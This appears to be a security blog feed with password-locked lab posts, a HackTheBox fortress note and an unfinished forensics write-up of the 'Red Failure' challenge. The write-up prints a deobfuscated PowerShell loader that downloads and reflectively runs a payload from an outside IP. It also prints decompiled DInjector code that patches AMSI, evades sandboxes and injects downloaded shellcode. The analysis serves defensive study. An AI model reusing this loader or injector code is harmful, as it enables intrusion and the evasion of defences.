eA3fOIaBSRkr8DgGcZRUI5R577QS67tbTcDHIlAvSfTK4EgFxGIRgHV8UsgszqXiSJ1PLuy1WSfXoSeCw8TArqSQPyP3N3gk7pGawhvgBMU/qrJGf0Ookzm7TwJd0mjd93oONqmyPK0SiQ9/D4Ov36tuC+lb3BJ4CDAhcJw8iQHsMqEMRXoZy2qpKg414JdAYjuH1ad3AdpVn05IIWNdiYHiYYZx3W3lthUiufv3Pbk+e5oxOuhxs10QkG9j4uIQzQzvgYzH8qr+QWHQJ+G1QEFNOIa743ofWlgk8j1w+X/wDsUw0UM92AZiEPZUyzbpTj+jfRgSXGA5hkPkIVQafaW9np2tg/hbI0ApxaqiXjn1QUsh+GggyDBBZQT4ZR2HZkpY095gZe4IK/0G81WDrDe4YzK/GTF7lw+zs0=;^</div> <div id="pec-decrypted-content"> <span><strong><i>This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution. In special circumstances, you may email me for the password.</i></strong></span> </div> <form id="pec-decrypt-form"> <label for="pec-content-password">Password</label> <input type="password" id="pec-content-password" placeholder="Password" /> <button type="button" id="pec-decrypt-content">Decrypt</button> </form> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/enc-base64.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/cipher-core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/pad-nopadding.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/md5.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/aes.js"></script> <script type="text/javascript"> (function(){var a=function(b,c){for(var d=b.length;d>0;d--)if(b[d-1]!==c)return b.slice(0,d)},e=function(b,c,d,f){var g=CryptoJS.MD5(b),h=CryptoJS.enc.Base64.parse(c),i=CryptoJS.enc.Base64.parse(d),j={key:g,iv:h,ciphertext:i},k=CryptoJS.AES.decrypt(j,g,{iv:h,padding:CryptoJS.pad.NoPadding});try{return a(k.toString(CryptoJS.enc.Utf8),f)}catch(l){return!1}};document.addEventListener('DOMContentLoaded',function(){var b=document.getElementById('pec-decrypt-content'),c=document.getElementById('pec-content-password'),d=document.getElementById('pec-encrypted-content'),f=document.getElementById('pec-decrypted-content'),g=document.getElementById('pec-decrypt-form'),h=function(a){var h=d.innerHTML.split(';'),i=e(c.value,h[0],h[1],h[2]);i?(f.innerHTML=i,g.parentNode.removeChild(g),d.parentNode.removeChild(d)):(c.value=''),a.preventDefault();return!1};b.addEventListener('click',h);g.addEventListener('submit',h)})})(); </script> </div>2022-03-16T14:26:25-04:002026-05-17T14:03:45.433868-04:00Eric Turnertag:blog.ericturner.it,2022-03-16:/2022/03/16/btlo-investigation-deep-blue/

This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You can unlock this challenge by using the last password requested, or wait until the investigation is retired.

<div id="pec-encrypted"> <div id="pec-encrypted-content" style="display:none">dWdNdf/nJnzjrSY5wYFSGA==;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;^</div> <div id="pec-decrypted-content"> <span><strong><i>This investigation is currently active on Blue Team Labs Online, thus is required to be password protected. You can unlock this challenge by using the last password requested, or wait until the investigation is retired.</i></strong></span> </div> <form id="pec-decrypt-form"> <label for="pec-content-password">Password</label> <input type="password" id="pec-content-password" placeholder="Password" /> <button type="button" id="pec-decrypt-content">Decrypt</button> </form> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/enc-base64.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/cipher-core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/pad-nopadding.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/md5.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/aes.js"></script> <script type="text/javascript"> (function(){var a=function(b,c){for(var d=b.length;d>0;d--)if(b[d-1]!==c)return b.slice(0,d)},e=function(b,c,d,f){var g=CryptoJS.MD5(b),h=CryptoJS.enc.Base64.parse(c),i=CryptoJS.enc.Base64.parse(d),j={key:g,iv:h,ciphertext:i},k=CryptoJS.AES.decrypt(j,g,{iv:h,padding:CryptoJS.pad.NoPadding});try{return a(k.toString(CryptoJS.enc.Utf8),f)}catch(l){return!1}};document.addEventListener('DOMContentLoaded',function(){var b=document.getElementById('pec-decrypt-content'),c=document.getElementById('pec-content-password'),d=document.getElementById('pec-encrypted-content'),f=document.getElementById('pec-decrypted-content'),g=document.getElementById('pec-decrypt-form'),h=function(a){var h=d.innerHTML.split(';'),i=e(c.value,h[0],h[1],h[2]);i?(f.innerHTML=i,g.parentNode.removeChild(g),d.parentNode.removeChild(d)):(c.value=''),a.preventDefault();return!1};b.addEventListener('click',h);g.addEventListener('submit',h)})})(); </script> </div>2022-03-11T22:37:00-05:002026-05-17T14:03:45.445869-04:00Eric Turnertag:blog.ericturner.it,2022-03-11:/2022/03/11/hackthebox-context-fortress/

<p><img alt="No alternative text description for this image" src="https://media-exp1.licdn.com/dms/image/C4E22AQHW1sBRzR2wSg/feedshare-shrink_800/0/1647035358572?e=1649894400&amp;v=beta&amp;t=J7DsURsGl8Uzbh3-Yi5jGxbxrhObuIkf-2mrrrlZa1E"/></p> <p>Done!</p> <p>After several long days, I finally was able to pwn my first fortress on HackTheBox! Context by <a href="https://contextis.com/">Context Information Security</a>!</p> <p>This particular challenge had seven flags and had me exploit my way through a vulnerable web app, into a Windows Domained machine and compromise several web and domain users …</p>

<p><img alt="No alternative text description for this image" src="https://media-exp1.licdn.com/dms/image/C4E22AQHW1sBRzR2wSg/feedshare-shrink_800/0/1647035358572?e=1649894400&amp;v=beta&amp;t=J7DsURsGl8Uzbh3-Yi5jGxbxrhObuIkf-2mrrrlZa1E"/></p> <p>Done!</p> <p>After several long days, I finally was able to pwn my first fortress on HackTheBox! Context by <a href="https://contextis.com/">Context Information Security</a>!</p> <p>This particular challenge had seven flags and had me exploit my way through a vulnerable web app, into a Windows Domained machine and compromise several web and domain users in order to finally get Domain Admin and grab the final flag!</p> <p>Without spoiling exact methodology, it was definitely a difficult challenge that required me to do a lot of extra research to help bolster my skills and help me breakthrough when I got stuck. I look forward to another challenge after I take a few days break from this one!</p>2022-03-02T17:17:28-05:002026-05-17T14:03:45.447866-04:00Eric Turnertag:blog.ericturner.it,2022-03-02:/2022/03/02/hackthebox-forensics-challenge-red-failure/

<p>Note: I am stumped on this particular challenge. Below is how far I've gotten.</p> <p>Link: <a href="https://app.hackthebox.com/challenges/red-failure">https://app.hackthebox.com/challenges/red-failure</a></p> <blockquote> <p>During a recent red team engagement one of our servers got compromised. Upon completion the red team should have deleted any malicious artifact or persistence mechanism used throughout the …</p></blockquote>

<p>Note: I am stumped on this particular challenge. Below is how far I've gotten.</p> <p>Link: <a href="https://app.hackthebox.com/challenges/red-failure">https://app.hackthebox.com/challenges/red-failure</a></p> <blockquote> <p>During a recent red team engagement one of our servers got compromised. Upon completion the red team should have deleted any malicious artifact or persistence mechanism used throughout the project. However, our engineers have found numerous of them left behind. It is therefore believed that there are more such mechanisms still active. Can you spot any, by investigating this network capture?</p> </blockquote> <h1 id="pcap-analysis">PCAP Analysis</h1> <p>We are provided a single capture.pcap with 171 packets inside of it.</p> <ul> <li>tcp.stream 1 is a <code>GET /4a7xH.ps1</code> file that contains some code for grabbing a powershell file</li> <li>tcp.stream 2 grabs a user32.dll file from the same place</li> <li>tcp.stream 3 calls the /9tVI0 endpoint which seems to contain some sort of zipped or encoded data that is used in the initial powershell script</li> </ul> <p>Deobfuscating the powershell code returns the following:</p> <pre><code class="language-powershell"># NOTE: Powershell variables are case insensitive and can disregard special characters like ` Set-Variable 'YuE51' ([typE]('SySTeM.REFLEcTIOn.aSSemblY')); ${a} = 'currentthread' ${B} = '147.182.172.189' ${C} = 80 ${D} = 'user32.dll' ${E} = '9tVI0' ${f} = 'z64&amp;Rx27Z$B%73up' ${g} = 'C:\Windows\System32\svchost.exe' ${h} = 'notepad' ${I} = 'explorer' ${j} = 'msvcp_win.dll' ${k} = 'True' ${l} = 'True' # ${methods} does not contain 'currentthread' so it appears these never actually do anything ${methods} = @(('remotethread'), ('remotethreaddll'), ('remotethreadview'), ('remotethreadsuspended') if (${methods}.('Contains').Invoke(${A})) { ${h} = (&amp;('Start-Process') -WindowStyle ('Hidden') -PassThru ${H})."I`d" # starts a hidden 'notepad' process } if (${methods}.("Contains").Invoke(${a})) { try { ${I} = (&amp;("Get-Process") ${I} -ErrorAction ("Stop"))."ID" # gets PID of explorer.exe } catch { ${I} = 0 } } ${cmd} = "currentthread /sc:http://147.182.172.189:80/9tVI0 /password:'z64&amp;Rx27Z$B%73up' /image:C:\Windows\System32\svchost.exe /pid:${H} /ppid:${I} /dll:msvcp_win.dll /blockDlls:True /am51:True" # contacts 9tVI0 endpoint of url and gets content to invoke ${data} = (.('IWR') -UseBasicParsing "http://147.182.172.189:80/9tVI0")."Content" ${assem} = ( ls ('vaRIaBLe:yUE51'))."Value"::('Load').Invoke(${data}) ${flags} = [Reflection.BindingFlags] ('NonPublic,Static') ${class} = ${assem}.('GetType').Invoke(('DInjector.Detonator'), ${flags}) ${entry} = ${class}.('GetMethod').Invoke(('Boom'), ${flags}) ${entry}."Invoke"(${null}, (, ${cmd}.('Split').Invoke(" "))) </code></pre> <p>In Wireshark, navigate to File &gt; Export Objects &gt; HTTP. Then I exported user32.dll and 9tVI0 for further analysis</p> <h1 id="user32dll-static-analysis">user32.dll Static Analysis</h1> <p>If we open the user32.dll in JetBrains dotPeek, we can see the private static void Boom function inside of Detonator.cs that shows how this data is used:</p> <pre><code class="language-csharp">private static void Boom(string[] args) { if (Detonator.VirtualAllocExNuma(Process.GetCurrentProcess().Handle, IntPtr.Zero, 4096U, 12288U, 4U, 0U) == IntPtr.Zero) return; int dwMilliseconds = new Random().Next(2000, 3000); double num = (double) ((uint) dwMilliseconds / 1000U) - 0.5; DateTime now = DateTime.Now; Detonator.Sleep((uint) dwMilliseconds); if (DateTime.Now.Subtract(now).TotalSeconds &lt; num) return; Dictionary&lt;string, string&gt; dictionary = ArgumentParser.Parse((IEnumerable&lt;string&gt;) args); try { if (bool.Parse(dictionary["/am51"])) AM51.Patch(); } catch (Exception ex) { } string s1 = string.Empty; foreach (KeyValuePair&lt;string, string&gt; keyValuePair in dictionary) { if (keyValuePair.Value == string.Empty) s1 = keyValuePair.Key; } string s2 = dictionary["/sc"]; string password = dictionary["/password"]; byte[] data; if (s2.IndexOf("http", StringComparison.OrdinalIgnoreCase) &gt;= 0) { Console.WriteLine("(Detonator) [*] Loading shellcode from URL"); WebClient webClient = new WebClient(); ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12; string address = s2; MemoryStream input = new MemoryStream(webClient.DownloadData(address)); data = new BinaryReader((Stream) input).ReadBytes(Convert.ToInt32(input.Length)); } else { Console.WriteLine("(Detonator) [*] Loading shellcode from base64 input"); data = Convert.FromBase64String(s2); } byte[] numArray = new AES(password).Decrypt(data); int ppid = 0; try { ppid = int.Parse(dictionary["/ppid"]); } catch (Exception ex) { } bool blockDlls = false; try { if (bool.Parse(dictionary["/blockDlls"])) blockDlls = true; } catch (Exception ex) { } // ISSUE: reference to a compiler-generated method switch (\u003CPrivateImplementationDetails\u003E.ComputeStringHash(s1)) { case 597187931: if (!(s1 == "remotethread")) break; RemoteThread.Execute(numArray, int.Parse(dictionary["/pid"])); break; case 886880049: if (!(s1 == "processhollow")) break; ProcessHollow.Execute(numArray, dictionary["/image"], ppid, blockDlls); break; case 1013440982: if (!(s1 == "functionpointerv2")) break; FunctionPointerV2.Execute(numArray); break; case 1337743390: if (!(s1 == "clipboardpointer")) break; ClipboardPointer.Execute(numArray); break; case 1581928577: if (!(s1 == "currentthreaduuid")) break; CurrentThreadUuid.Execute(Encoding.UTF8.GetString(numArray)); break; case 1633653762: if (!(s1 == "remotethreadcontext")) break; RemoteThreadContext.Execute(numArray, dictionary["/image"], ppid, blockDlls); break; case 2000324974: if (!(s1 == "remotethreadview")) break; RemoteThreadView.Execute(numArray, int.Parse(dictionary["/pid"])); break; case 2145053022: if (!(s1 == "currentthread")) break; CurrentThread.Execute(numArray); break; case 2585521376: if (!(s1 == "remotethreadsuspended")) break; RemoteThreadSuspended.Execute(numArray, int.Parse(dictionary["/pid"])); break; case 2602728598: if (!(s1 == "functionpointer")) break; FunctionPointer.Execute(numArray); break; case 3284651259: if (!(s1 == "remotethreadapc")) break; RemoteThreadAPC.Execute(numArray, dictionary["/image"], ppid, blockDlls); break; case 3819032365: if (!(s1 == "remotethreaddll")) break; RemoteThreadDll.Execute(numArray, int.Parse(dictionary["/pid"]), dictionary["/dll"]); break; } } </code></pre> <p>Most importantly for us, we can see that the 9tVI0 is shell code that is password protected and needs decrypted.</p> <p>I checked the AES.cs file as well because we need to know how the Decrypt() method is working. It's source is here:</p> <pre><code class="language-csharp">using System.Collections.Generic; using System.IO; using System.Linq; using System.Security.Cryptography; using System.Text; namespace DInjector { internal class AES { private byte[] key; public AES(string password) =&gt; this.key = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password)); private byte[] PerformCryptography(ICryptoTransform cryptoTransform, byte[] data) { using (MemoryStream memoryStream = new MemoryStream()) { using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoTransform, CryptoStreamMode.Write)) { cryptoStream.Write(data, 0, data.Length); cryptoStream.FlushFinalBlock(); return memoryStream.ToArray(); } } } public byte[] Decrypt(byte[] data) { using (AesCryptoServiceProvider cryptoServiceProvider = new AesCryptoServiceProvider()) { byte[] array1 = ((IEnumerable&lt;byte&gt;) data).Take&lt;byte&gt;(16).ToArray&lt;byte&gt;(); byte[] array2 = ((IEnumerable&lt;byte&gt;) data).Skip&lt;byte&gt;(16).Take&lt;byte&gt;(data.Length - 16).ToArray&lt;byte&gt;(); cryptoServiceProvider.Key = this.key; cryptoServiceProvider.IV = array1; cryptoServiceProvider.Mode = CipherMode.CBC; cryptoServiceProvider.Padding = PaddingMode.PKCS7; using (ICryptoTransform decryptor = cryptoServiceProvider.CreateDecryptor(cryptoServiceProvider.Key, cryptoServiceProvider.IV)) return this.PerformCryptography(decryptor, array2); } } } } </code></pre> <p>Most important is the Key, IV and Mode to be able to decrypt. The mode is listed as <code>CipherMode.CBC</code>.</p> <p>I used a .NET Sandbox to write some code in order to generate the key and IV . For the key:</p> <pre><code class="language-csharp">string password = "z64&amp;Rx27Z$B%73up"; byte[] key = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password)); StringBuilder builder = new StringBuilder(); for (int i = 0; i &lt; key.Length; i++) { builder.Append(key[i].ToString("x2")); } Console.WriteLine(builder.ToString()); // 0996cb714b12ed96972979398e78724df2a1fa0a1c01372975fdb07e2a15ee15 </code></pre> <p>The IV is the first 16 bytes of the data. In Wireshark, we can view the hexdump of the file:</p> <pre><code class="language-bash">0000 99 07 bb 67 9e 17 65 dc bd b4 67 c1 c4 b0 0d 21 &middot;&middot;&middot;g&middot;&middot;e&middot; &middot;&middot;g&middot;&middot;&middot;&middot;! 0010 3b 3f 70 86 79 dc 12 e5 35 2f f4 ac 0f bb df 6a ;?p&middot;y&middot;&middot;&middot; 5/&middot;&middot;&middot;&middot;&middot;j 0020 57 e4 fa 09 4a 4d 03 ff ba 9e f2 51 c2 c5 71 00 W&middot;&middot;&middot;JM&middot;&middot; &middot;&middot;&middot;Q&middot;&middot;q&middot; 0030 df 04 df f8 82 dc d4 37 3e 0d 0b ba 5c 6b 64 2c &middot;&middot;&middot;&middot;&middot;&middot;&middot;7 &gt;&middot;&middot;&middot;\kd, 0040 4e 4d 7e 2e 46 bd 25 c2 0c 58 65 c0 27 fa c0 ca NM~.F&middot;%&middot; &middot;Xe&middot;'&middot;&middot;&middot; 0050 d8 a0 12 0d 3e 5e fd 31 c8 f1 6f b8 7b f9 07 18 &middot;&middot;&middot;&middot;&gt;^&middot;1 &middot;&middot;o&middot;{&middot;&middot;&middot; 0060 b9 1b 47 59 2f ac 88 34 dc 1b 1c 92 d1 ef a0 08 &middot;&middot;GY/&middot;&middot;4 &middot;&middot;&middot;&middot;&middot;&middot;&middot;&middot; 0070 7e dd 67 87 46 42 1c 01 d4 d2 2a a3 b6 00 64 9d ~&middot;g&middot;FB&middot;&middot; &middot;&middot;*&middot;&middot;&middot;d&middot; 0080 aa cd 7f 0d 2f 7e 9a 9c 90 57 c1 3e a6 79 8c 15 &middot;&middot;&middot;&middot;/~&middot;&middot; &middot;W&middot;&gt;&middot;y&middot;&middot; 0090 8f d8 43 de 55 65 42 ac 47 7f 20 f6 38 6d f5 35 &middot;&middot;C&middot;UeB&middot; G&middot; &middot;8m&middot;5 00A0 a5 dd 46 19 9b 16 8b b2 b1 3d c3 2e e1 c9 d4 b2 &middot;&middot;F&middot;&middot;&middot;&middot;&middot; &middot;=&middot;.&middot;&middot;&middot;&middot; 00B0 01 47 44 2d 08 df d1 94 1a e0 34 b5 ff 76 a8 9f &middot;GD-&middot;&middot;&middot;&middot; &middot;&middot;4&middot;&middot;v&middot;&middot; 00C0 01 cd f1 6a 35 e2 57 92 7c aa 02 d2 b6 54 bb 85 &middot;&middot;&middot;j5&middot;W&middot; |&middot;&middot;&middot;&middot;T&middot;&middot; 00D0 de 27 57 a0 a4 27 93 72 1b bc 25 7d 90 b7 57 dd &middot;'W&middot;&middot;'&middot;r &middot;&middot;%}&middot;&middot;W&middot; 00E0 08 47 d3 31 77 6b b6 b9 68 00 16 8f 12 20 49 38 &middot;G&middot;1wk&middot;&middot; h&middot;&middot;&middot;&middot; I8 00F0 fb ec 00 3c e9 ab 5e 90 b5 bc 57 b9 ac 79 ef c4 &middot;&middot;&middot;&lt;&middot;&middot;^&middot; &middot;&middot;W&middot;&middot;y&middot;&middot; 0100 05 16 30 28 bd 0c 49 4d 47 db 4f 97 3d 43 dd 62 &middot;&middot;0(&middot;&middot;IM G&middot;O&middot;=C&middot;b 0110 df 1e eb 80 91 05 af ff 6d 6e 8a 0e a6 53 ec 9c &middot;&middot;&middot;&middot;&middot;&middot;&middot;&middot; mn&middot;&middot;&middot;S&middot;&middot; 0120 03 a6 20 95 49 81 f6 5b db 47 14 ab bd cf 16 13 &middot;&middot; &middot;I&middot;&middot;[ &middot;G&middot;&middot;&middot;&middot;&middot;&middot; 0130 fc e7 a8 44 f0 c7 94 dd 2b a1 81 14 35 fa 62 ee &middot;&middot;&middot;D&middot;&middot;&middot;&middot; +&middot;&middot;&middot;5&middot;b&middot; 0140 d2 c3 da 75 34 37 bc aa 47 22 73 9e c3 65 e1 d6 &middot;&middot;&middot;u47&middot;&middot; G"s&middot;&middot;e&middot;&middot; </code></pre> <p>The entire first line would then be the IV and the rest is what gets decoded. My full source code for the decryption is here:</p> <p>[gh]https://github.com/EricTurner3/cybersecurity/blob/main/HackTheBox/challenges/forensics/redfailure/decrypt.cs[/gh]</p> <p>Now with the shellcode, it is going to pass to RemoteThread.cs to actually execute.</p> <p>Following <a href="https://malwarenailed.blogspot.com/2018/09/reversing-shellcode-using-blobrunner.html">this article</a>, we can use a combination of ollydbg and blobrunner to try and decipher what the shellcode does. Using Cyberchef, I took the hexcode of the file and converted it to hex with a leading <code>\x</code>. Then I used <code>python -c 'print"\xdb...xb2") &gt; shellcode.bin'</code> to drop this file out for analysis:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/03/image-14.webp"/></p> <p>Just to ensure we are saving the file properly</p> <p>In my windows VM, run ollydbg and use shellcode.bin as the argument. Let it run until a message appears on the terminal screen:</p> 